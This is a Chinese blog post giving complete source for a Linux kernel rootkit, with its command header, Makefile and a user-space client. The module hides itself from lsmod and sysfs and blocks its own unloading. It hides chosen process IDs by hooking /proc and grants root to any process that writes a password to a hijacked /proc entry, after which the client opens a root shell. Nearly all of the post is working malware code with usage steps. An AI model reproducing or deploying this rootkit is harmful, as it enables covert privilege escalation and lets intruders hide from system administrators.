zoukankan      html  css  js  c++  java
  • rootkit:在隐藏模块的基础上隐藏进程

            上篇随笔中实现了隐藏进程,在实际的处理中,经常会用模块来达到修改系统调用的目的,但是当插入一个模块时,若不采取任何隐藏措施,很容易被对方发现,一旦对方发现并卸载了所插入的模块,那么所有利用该模块来隐藏的文件就暴露了,所以应继续分析如何来隐藏特定名字的模块。

            这里我们可以通过/proc文件系统来向内核传递命令的方式,实现获取root权限、隐藏模块、隐藏进程、显示进程、显示模块、允许卸载模块等功能。

           对于什么是/proc文件系统,以及如何通过它来跟内核通信,可以参考这里: http://www.ibm.com/developerworks/cn/linux/l-proc.html

          下面直接贴代码:

         

      1 /*rootkit.c*/
      2 #include <linux/module.h>
      3 #include<linux/kernel.h>
      4 #include<linux/proc_fs.h>
      5 #include<linux/sched.h>
      6 #include<linux/string.h>
      7 #include<linux/cred.h>
      8 #include<linux/stat.h>
      9 #include<linux/uaccess.h>
     10 #include<linux/file.h>
     11 #include "rootkit_conf.h"
     12 
     13 MODULE_LICENSE("GPL") ;
     14 MODULE_AUTHOR("Ormi<ormi.ormi@gmail.com>") ;
     15 MODULE_DESCRIPTION("Simple rootkit using procfs") ;
     16 MODULE_VERSION("0.1.2");
     17 static int failed;
     18 int orig_cr0;
     19 static char pid[10][32];
     20 static int pid_index;
     21 /* Here are pointers in which we save original, replaced pointers. We use
     22 them later, during unloading the module.
     23 I think that their names explain what they are ;) */
     24 static int (*old_proc_readdir)(struct file *, void *, filldir_t);
     25 static filldir_t old_filldir ;
     26 static ssize_t (*old_fops_write) (struct file *, const char __user *,size_t, loff_t *);
     27 static ssize_t (*old_fops_read)(struct file *, char __user *, size_t, loff_t*);
     28 static write_proc_t *old_write;
     29 static read_proc_t *old_read;
     30 static struct proc_dir_entry *ptr; /* Pointer to "infected" entry */
     31 static struct proc_dir_entry *root; /* Pointer to /proc directory */
     32 static struct list_head *prev; /* Pointer to entry in main modules list whichwas before our module before we hid the rootkit */
     33 static struct file_operations *fops; /* file_operations of infected entry */
     34 static struct file_operations *root_fops; /* file_operations of /procdirectory */
     35 
     36 
     37 static unsigned int clear_and_return_cr0(void)//
     38 {
     39     unsigned int cr0 = 0;
     40     unsigned int ret;
     41 
     42     asm volatile ("movl %%cr0, %%eax"
     43             : "=a"(cr0)//eaxcr0
     44          );
     45     ret = cr0;//
     46 
     47     /*clear the 16th bit of CR0,*/
     48     cr0 &= 0xfffeffff;
     49     asm volatile ("movl %%eax, %%cr0"
     50             :
     51             : "a"(cr0)
     52          );
     53     return ret;
     54 }
     55 
     56 static void setback_cr0(unsigned int val)
     57 {
     58     asm volatile ("movl %%eax, %%cr0"
     59             :
     60             : "a"(val)
     61          );
     62 }
     63 
     64 static inline void module_remember_info(void)//save the pointer to the prev of hide module
     65 {
     66     prev = THIS_MODULE->list.prev;
     67 }
     68 static inline void module_show(void)//lsmod
     69 {
     70     list_add(&THIS_MODULE->list, prev); /* We add our module to main list of modules */
     71 }
     72 
     73 /* Parameter of this function is pointer to buffer in which there should be
     74 command */
     75 
     76 static int check_buf(const char __user *buf)
     77 {
     78     /* Here we give root privileges */
     79     struct cred *new = prepare_creds();//return current process's cred struct
     80     if (!strcmp(buf, password)) {
     81     new->uid = new->euid = 0;
     82     new->gid = new->egid = 0;
     83     commit_creds(new);
     84     }
     85 
     86     /* Here we make possible to unload the module by "rmmod" */
     87     else if (!strcmp(buf, module_release))
     88         module_put(THIS_MODULE);//count--
     89     /* Here we make module visible */
     90     else if (!strcmp(buf, module_uncover))
     91         module_show();//add to the list
     92     /* We hide process */
     93     else if (!strncmp(buf, hide_proc, strlen(hide_proc))) {
     94         if (pid_index > 9)  /*max number of the hided process is 10*/
     95         return 0;
     96         sprintf(pid[pid_index], "%s", buf + 5);
     97         pid_index++;
     98     }
     99 /* We "unhide" lastly hidden process */
    100     else if (!strncmp(buf, unhide_proc, strlen(unhide_proc))) {
    101         if (!pid_index)
    102         return 0;
    103         pid_index--;
    104     }
    105 /* If we are here, there was no command passed */
    106     else
    107         return 1;
    108     return 0;
    109 }
    110 
    111 
    112 
    113 /* Our "write" function */
    114 static int buf_write(struct file *file, const char __user *buf,unsigned long count, void *data)
    115 {
    116     /* If check_buf return 0, there was command passed */
    117     if (!check_buf(buf))
    118         return count;
    119     /* Otherwise we execute original function */
    120     return old_write(file, buf, count, data);
    121 }
    122 
    123 
    124 
    125 /* Our "read" function for read_proc field*/
    126 static int buf_read(char __user *buf, char **start, off_t off,int count, int *eof, void *data)
    127 {
    128     if (!check_buf(buf))
    129         return count;
    130     return old_read(buf, start, off, count, eof, data);
    131 }
    132 
    133 
    134 /* For file_operations structure */
    135 static ssize_t fops_write(struct file *file, const char __user *buf_user,size_t count, loff_t *p)
    136 {
    137     if (!check_buf(buf_user))
    138         return count;
    139     return old_fops_write(file, buf_user, count, p);
    140 }
    141 
    142 
    143 /* For file_operations structure */
    144 static ssize_t fops_read(struct file *file, char __user *buf_user,size_t count, loff_t *p)
    145 {
    146     
    147     if (!check_buf(buf_user))
    148         return count;
    149     return old_fops_read(file, buf_user, count, p);
    150 }
    151 
    152 
    153 /* Our filldir function */
    154 static int new_filldir(void *__buf, const char *name, int namelen,loff_t offset, u64 ino, unsigned d_type)
    155 {
    156     int i;
    157     /* We check if "name" is pid of one of hidden processes */
    158     for (i = 0; i < pid_index; i++)
    159     if (!strcmp(name, pid[i]))
    160         return 0; /* If yes, we don't display it */
    161     /* Otherwise we invoke original filldir */
    162     return old_filldir(__buf, name, namelen, offset, ino, d_type);
    163 }
    164 
    165 
    166 
    167 /* Our readdir function */
    168 static int new_proc_readdir(struct file *filp, void *dirent, filldir_t filldir)
    169 {
    170     /* To invoke original filldir in new_filldir we have to remeber pointer to
    171     original filldir */
    172     old_filldir = filldir;
    173     /* We invoke original readdir, but as "filldir" parameter we give pointer to
    174     our filldir */
    175     return old_proc_readdir(filp, dirent, new_filldir) ;
    176 }
    177 
    178 
    179 
    180 /* Here we replace readdir function of /proc */
    181 static inline void change_proc_root_readdir(void)
    182 {
    183     root_fops = (struct file_operations *)root->proc_fops;
    184     old_proc_readdir = root_fops->readdir;
    185 
    186     root_fops->readdir = new_proc_readdir;
    187     
    188 }
    189 
    190 
    191 static inline void proc_init(void)//commond
    192 {
    193     ptr = create_proc_entry("temporary", 0444, NULL);
    194     ptr = ptr->parent;
    195     /* ptr->parent was pointer to /proc directory */
    196     /* If it wasn't, something is seriously wrong */
    197     if (strcmp(ptr->name, "/proc") != 0) {
    198         failed = 1;
    199         return;
    200     }
    201     root = ptr;
    202     remove_proc_entry("temporary", NULL);
    203     
    204     orig_cr0 = clear_and_return_cr0();
    205     change_proc_root_readdir(); /* We change /proc's readdir function */
    206     setback_cr0(orig_cr0); /*set the wp*/
    208     ptr = ptr->subdir;
    209     /* Now we are searching entry we want to infect */
    210     while (ptr) {
    211         if (strcmp(ptr->name, passwaiter) == 0)
    212         goto found; /* Ok, we found it */
    213         ptr = ptr->next; /* Otherwise we go to next entry */
    214     }
    215     /* If we didn't find it, something is wrong :( */
    216     failed = 1;
    217     return;
    218 found:
    219     /* Let's begin infecting */
    220     /* We save pointers to original reading and writing functions, to restore them during unloading the rootkit */
    221     old_write = ptr->write_proc;
    222     old_read = ptr->read_proc;
    223     fops = (struct file_operations *)ptr->proc_fops; /* Pointer tofile_operations structure of infected entry */
    224     old_fops_read = fops->read;
    225     old_fops_write = fops->write;
    226     
    227     orig_cr0 = clear_and_return_cr0();  /*set back the wp*/
    228     
    229     /* We replace write_proc/read_proc */
    230     if (ptr->write_proc)
    231         ptr->write_proc = buf_write;
    232     else if (ptr->read_proc)
    233         ptr->read_proc = buf_read;
    234         
    235     /* We replace read/write from file_operations */
    236     if (fops->write)
    237         fops->write =fops_write;
    238      else if (fops->read)
    239         fops->read = fops_read;
    240         
    241     setback_cr0(orig_cr0);
    242     /* There aren't any reading/writing functions? Error! */
    243     if (!ptr->read_proc && !ptr->write_proc &&!fops->read && !fops->write) {
    244         failed = 1;
    245         return;
    246     }
    247 }
    248 
    249 
    250 /* This functions does some "cleanups". If we don't set some pointers tu
    251 NULL,
    252 we can cause Oops during unloading rootkit. We free some structures,
    253 because we don't want to waste memory... */
    254 static inline void tidy(void)
    255 {
    256     kfree(THIS_MODULE->notes_attrs);
    257     THIS_MODULE->notes_attrs = NULL;
    258     kfree(THIS_MODULE->sect_attrs);
    259     THIS_MODULE->sect_attrs = NULL;
    260     kfree(THIS_MODULE->mkobj.mp);
    261     THIS_MODULE->mkobj.mp = NULL;
    262     THIS_MODULE->modinfo_attrs->attr.name = NULL;
    263     kfree(THIS_MODULE->mkobj.drivers_dir);
    264     THIS_MODULE->mkobj.drivers_dir = NULL;
    265 }
    266 
    267 
    268 
    269 /*
    270 We must delete some structures from lists to make rootkit harder to detect.
    271 */
    272 static inline void rootkit_hide(void)
    273 {
    274     list_del(&THIS_MODULE->list);//lsmod,/proc/modules
    275     kobject_del(&THIS_MODULE->mkobj.kobj);// /sys/modules
    276     list_del(&THIS_MODULE->mkobj.kobj.entry);// kobj struct list_head entry
    277 }
    278 
    279 
    280 static inline void rootkit_protect(void)
    281 {
    282     try_module_get(THIS_MODULE);// count++
    283 }
    284 
    285 
    286 static int __init rootkit_init(void)
    287 {
    288     module_remember_info();
    289     proc_init();
    290     if (failed)
    291         return 0;
    292     rootkit_hide();
    293     tidy();
    294     rootkit_protect();
    295     return 0 ;
    296 }
    297 
    298 
    299 
    300 static void __exit rootkit_exit(void)
    301 {
    302     /* If failed, we don't have to do any cleanups */
    303     if (failed)
    304         return;
    305     orig_cr0 = clear_and_return_cr0();
    306     root_fops->readdir = old_proc_readdir;
    307     fops->write = old_fops_write;
    308     fops->read = old_fops_read;
    309     ptr->write_proc = old_write;
    310     ptr->read_proc = old_read;
    311     setback_cr0(orig_cr0);
    312 }
    313 
    314 
    315 module_init(rootkit_init);
    316 module_exit(rootkit_exit);

    命令头文件:

    1 /*rootkit_conf.h*/
    2 static char password[] = "secretpassword" ; //give here password
    3 static char passwaiter[] = "version" ; //here is name of entry to infect in /proc - you pass commands to it
    4 static char module_release[] = "release" ; //command to release the module(make possible to unload it)
    5 static char module_uncover[] = "uncover" ; //command to show the module
    6 static char hide_proc[] = "hide" ; //command to hide specified process
    7 static char unhide_proc[] = "unhide"; //command to "unhide" last hidden process

    对应的Makefile

    1 KERNELDIR=/usr/src/linux-headers-3.2.0-39-generic-pae
    2 PWD:=$(shell pwd)
    3 obj-m :=rootkit.o
    4 modules:
    5     $(MAKE) -C $(KERNELDIR) M=$(PWD) modules
    6 clean:
    7     rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c *.order *.symvers

    测试程序:

     1 /*test_rootkit.c*/
     2 #include<stdio.h>
     3 #include<unistd.h>
     4 #include<fcntl.h>
     5 #include<string.h>
     6 #include<errno.h>
     7 #include<sys/stat.h>
     8 #include "rootkit_conf.h"
     9 static char file[64];
    10 static char command[64];
    11 int root = 0;
    12 int main(int argc, char *argv[])
    13 {
    14     if(argc < 2) 
    15     {
    16         fprintf(stderr, "Usage: %s <command>\n", argv[0]);
    17         return 1;
    18     }
    19     int fd ;
    20     /* We get path to infected entry */
    21     sprintf(file, "/proc/%s", passwaiter);
    22     
    23     /* If sent command is equal to command which has to give us root, we must run shell at the end */
    24     if(!strcmp(argv[1], password))
    25         root = 1;
    26         
    27     /* At first we try to write command to that entry */
    28     fd = open(file, O_WRONLY);
    29     if(fd < 1) 
    30     {
    31         printf("Opening for writing failed! Trying to open for reading!\n");
    32         /* Otherwise, we send command by reading */
    33         fd = open(file, O_RDONLY);
    34         if(!fd) {
    35             perror("open");
    36         return 1;
    37         }
    38         read(fd, argv[1], strlen(argv[1]));
    39     }
    40     else
    41       write(fd, argv[1], strlen(argv[1]));
    42 end:
    43     close(fd) ;
    44     printf("[+] I did it!\n") ;
    45     /* if we have to get root, we run shell */
    46     if(root) {
    47         uid_t uid = getuid() ;
    48         printf("[+] Success! uid=%i\n", uid) ;
    49         setuid(0) ;
    50         setgid(0) ;
    51         execl("/bin/bash", "bash", 0) ;
    52     }
    53     return 0;
    54 }

    编译生成模块 rootkit.ko,并加载进内核

    默认情况下,我们已经隐藏了模块rootkit.ko 所以不管是 lsmod 还是 ls /proc/modules 或则 ls /sys/modules 是看不到rootkit.ko的。

    此时编译运行test_rootkit.c

    并传入参数:1:secretpassword 此时可以获得root权限

                         2:uncover  此时运行lsmod可以查看到模块rootkit.ko

                         3:  release   此时才可以用rmmode卸载模块rootkit.ko,默认情况下是不可以卸载的,因为我们在模块里设置了正在使用模块标记count=1,所以必须传命令release 让count=0,这样才可以卸载

                        4:hide:12   此时就可以隐藏进程号为12的进程

                        5:unhide     此时就可以显示最近隐藏的进程

  • 相关阅读:
    JS模板引擎 :ArtTemplate (2)
    JS模板引擎 :ArtTemplate (1)
    nodeJs 初探 ~
    javascript高级函数
    Js高程笔记->引用类型
    html5离线存储
    (摘抄)HTTP 协议详解
    cordova /phonegap 自定义插件
    phonegap/cordova常用命令
    phonegap上传以及下载图片
  • 原文地址:https://www.cnblogs.com/justcxtoworld/p/3053554.html
Copyright © 2011-2022 走看看